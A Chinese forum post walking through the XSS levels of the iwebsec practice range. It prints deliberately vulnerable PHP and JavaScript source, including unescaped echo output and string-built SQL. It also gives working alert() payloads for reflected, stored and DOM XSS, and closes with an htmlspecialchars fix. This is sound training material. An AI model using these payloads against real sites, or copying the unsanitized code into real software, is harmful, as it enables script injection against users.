论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
ToB门户
了解全球最新的ToB事件
博客
Blog
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
应用中心
搜索
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
账号登录
立即注册
找回密码
用户名
Email
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
qidao123.com技术社区-IT企服评测·应用市场
»
论坛
›
软件与程序人生
›
前端开发
›
iwebsec靶场 XSS漏洞通关条记
iwebsec靶场 XSS漏洞通关条记
水军大提督
论坛元老
|
2025-2-23 16:39:48
|
显示全部楼层
|
阅读模式
楼主
主题
1715
|
帖子
1715
|
积分
5145
目录
前言
1.反射性XSS
2.存储型XSS
3.DOM型XSS
第01关 反射型XSS漏洞
1.打开靶场
2.源码分析
3.排泄
第02关 存储型XSS漏洞
1.打开靶场
2.源码分析
4.排泄
方法1:
方法2
方法3
第03关 DOM XSS漏洞
1.打开靶场
2.源码分析
3.排泄分析
3.排泄过程
(1)排泄方法1
(2)排泄方法2
(3)排泄方法3
第04关 XSS修复示例
1.打开靶场
2.源码分析
3.排泄实战
前言
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一样平常XSS可以分为如下几种常见类型:
1.反射性XSS
反射型XXS是一种非恒久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入此中Web内里的html代码会被执行,从而达到恶意攻击用户的目的。
2.存储型XSS
存储型XSS又名恒久型XSS,攻击的恶意代码会被存储在数据库、文件系统等存储介质,因为是永久存储以是功效恒久。通常来讲攻击者可以把payload放在网站留言板、批评等位置,等用户访问网站并有匹配payload的举动时,即可触发攻击。
3.DOM型XSS
DOM XSS的XSS代码并不需要服务器解析相应的直接到场,触发XSS靠的就是浏览器端的DOM解析,可以认为完满是客户端的事变,无法通过WAF防护。
第01关 反射型XSS漏洞
1.打开靶场
2.源码分析
如下所示,未对传入参数name进行任何过滤,存在xss漏洞
<?php require_once '../header.php'; ?>
<html>
<head>
<title>反射型XSS漏洞</title>
</head>
<h2>反射型XSS漏洞</h2>
<div class="alert alert-success">
<p>/01.php?name=iwebsec </p>
</div>
<body>
<table class='table table-striped'>
<?php
if(isset($_GET['name'])){
$name=$_GET['name'];
echo "<h2>"."Hello ".$name."<h2>";
}else{
exit();
}
?>
</table>
复制代码
很显着,这是一个反射型的XSS漏洞
3.排泄
传入参数
iwebsec 靶场漏洞库iwebsec[这里是图片002]http://iwebsec.com:81/xss/01.php?name=排泄乐成,效果如下所示
第02关 存储型XSS漏洞
1.打开靶场
iwebsec 靶场漏洞库iwebsec[这里是图片004]http://iwebsec.com:81/xss/02.php如下所示,这是一个留言板相干内容的网页
2.源码分析
如下所示对传入的参数name并未做任何过滤,具备XSS漏洞。
<?php
require_once('../header.php');
require_once('../sqli/db.php');
?>
<html>
<head>
<title>存储型XSS漏洞</title>
</head>
<h2>存储型XSS漏洞</h2>
<div class="alert alert-success">
<p>请输入你的留言信息</p>
</div>
<form method="get">
<input type="text" name="name">
<input type="submit" value="submit">
</form>
<body>
<?php
if(isset($_GET['name'])){
$name=$_GET['name'];
$sql="INSERT INTO xss set name='$name'";
$result=mysql_query($sql);
$sql="SELECT * FROM xss";
$result=mysql_query($sql);
}
else{
exit();
}
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "</tr>";
}
echo "</table>";
}
else
{
print_r(mysql_error());
}
?>
复制代码
同时对参数name使用SQL语句进行insert存储,关键源码如下
$sql="INSERT INTO xss set name='$name'";
$result=mysql_query($sql);
复制代码
接下来再使用select查询语句将其展示出来,关键源码如下
$sql="SELECT * FROM xss";
$result=mysql_query($sql);
复制代码
很显着这是具有存储型XSS漏洞,注入的XSS命令会永久存储到服务器,从而触发XSS漏洞。
4.排泄
方法1:
这里要注意的是,因为涉及到SQL语句,第一个SQL插入源码如下所示,闭合方式为单引号。
$sql="INSERT INTO xss set name='$name'";
复制代码
故而name的赋值不可以有单引号,故而假如想输出ljn,那么参数不能是这是因为包含了单引号
<script>alert(/xss/)</script>
复制代码
如下所示
排泄效果如下所示
方法2
因为使用SQL语句单引号闭合,故而可以选择使用双引号来进行排泄
<script>alert("hello ljn")</script>
复制代码
在留言处输入参数后如下所示
如下所示,排泄乐成
方法3
<script>alert(20221128)</script>
复制代码
如下所示排泄乐成
第03关 DOM XSS漏洞
1.打开靶场
iwebsec 靶场漏洞库iwebsec[这里是图片011]http://iwebsec.com:81/xss/03.php
2.源码分析
如下代码中存在domxss函数,可能存在dom型xss漏洞
<?php require_once '../header.php'; ?>
<html>
<head>
<title>DOM XSS漏洞</title>
</head>
<h2>DOM XSS漏洞</h2>
<div class="alert alert-success">
<p>请输入内容 </p>
</div>
<body>
<table class='table table-striped'>
<script>
function domxss()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = str;
}
</script>
<h2 id = "output"></h2>
<input type="text" id="input" value="" />
<input type="button" value="submit" onclick="domxss()" />
</table>
复制代码
3.排泄分析
输入参数,判断是否有过滤信息
'"<>?%66666ljn
复制代码
在当前页面元素,搜索框中输入关键字搜索ljn,寻找刚刚输入的内容,很显着全部字符都还在,并不存在过滤单引号和双引号等特殊字符, 并将输入内容显示到页面中。
接下来分析一下闭合关系,查看器中的内容如下,于是可以输入完整的xss语句,通过将内容输出到页面,再出发显示到页面的内容执行xss脚本。
<h2 id="output">'"<>?%66666ljn</h2>
复制代码
3.排泄过程
(1)排泄方法1
基于此可以构造闭合,参数输入xss恶意脚本(点击ljn后输出你好)
<li/onclick=alert('你好')>ljn</li>
复制代码
输入后提交如下所示
在页面的ljn处点击鼠标,则弹出你好,排泄乐成
(2)排泄方法2
参数为xss恶意脚本(因图标执行错误而出发弹框输出ljn)
<img src=1 onerror=alert('ljn')>
复制代码
如下所示,排泄乐成
(3)排泄方法3
参数为xss恶意脚本(鼠标移动到图标后输出ljn)
<img src="#" onmouseover="alert('ljn')">
复制代码
提交后如下图所示
当鼠标移动到图标处时,弹出弹框,排泄乐成
第04关 XSS修复示例
1.打开靶场
iwebsec 靶场漏洞库iwebsec[这里是图片019]http://iwebsec.com:81/xss/04.php
2.源码分析
如下所示对参数使用了htmlspecialchars函数过滤,这样就可以防范恶意的xss攻击
<?php require_once '../header.php'; ?>
<html>
<head>
<title>XSS修复示例</title>
</head>
<h2>XSS修复示例</h2>
<div class="alert alert-success">
<p>/04.php?name=iwebsec </p>
</div>
<body>
<table class='table table-striped'>
<?php
if(isset($_GET['name'])){
$name=$_GET['name'];
echo "<h2>"."Hello ".htmlspecialchars($name)."<h2>";
}else{
exit();
}
?>
</table>
复制代码
3.排泄实战
再次尝试第01关排泄乐成的内容
<script>alert('ljn')</script>
复制代码
如下所示,排泄失败,说明xss漏洞修复乐成
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
本帖子中包含更多资源
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
回复
使用道具
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
水军大提督
论坛元老
这个人很懒什么都没写!
楼主热帖
MySQL高可用架构搭建实战
让软件飞——“X+”技术揭秘 ...
Docker(11)-- DockerFile详解
可观测性和传统监控的三大区别 ...
哈希算法-SHA-256-过程详解
camunda工作流实战项目(表单设计器+流 ...
使用 OpenTelemetry 和 Loki 实现高效 ...
1. SQL
0. 数据库设计规范化
〖Python接口自动化测试实战篇③〗- 什 ...
标签云
渠道
国产数据库
集成商
AI
运维
CIO
存储
服务器
浏览过的版块
Java
人工智能
linux
向量数据库
快速回复
返回顶部
返回列表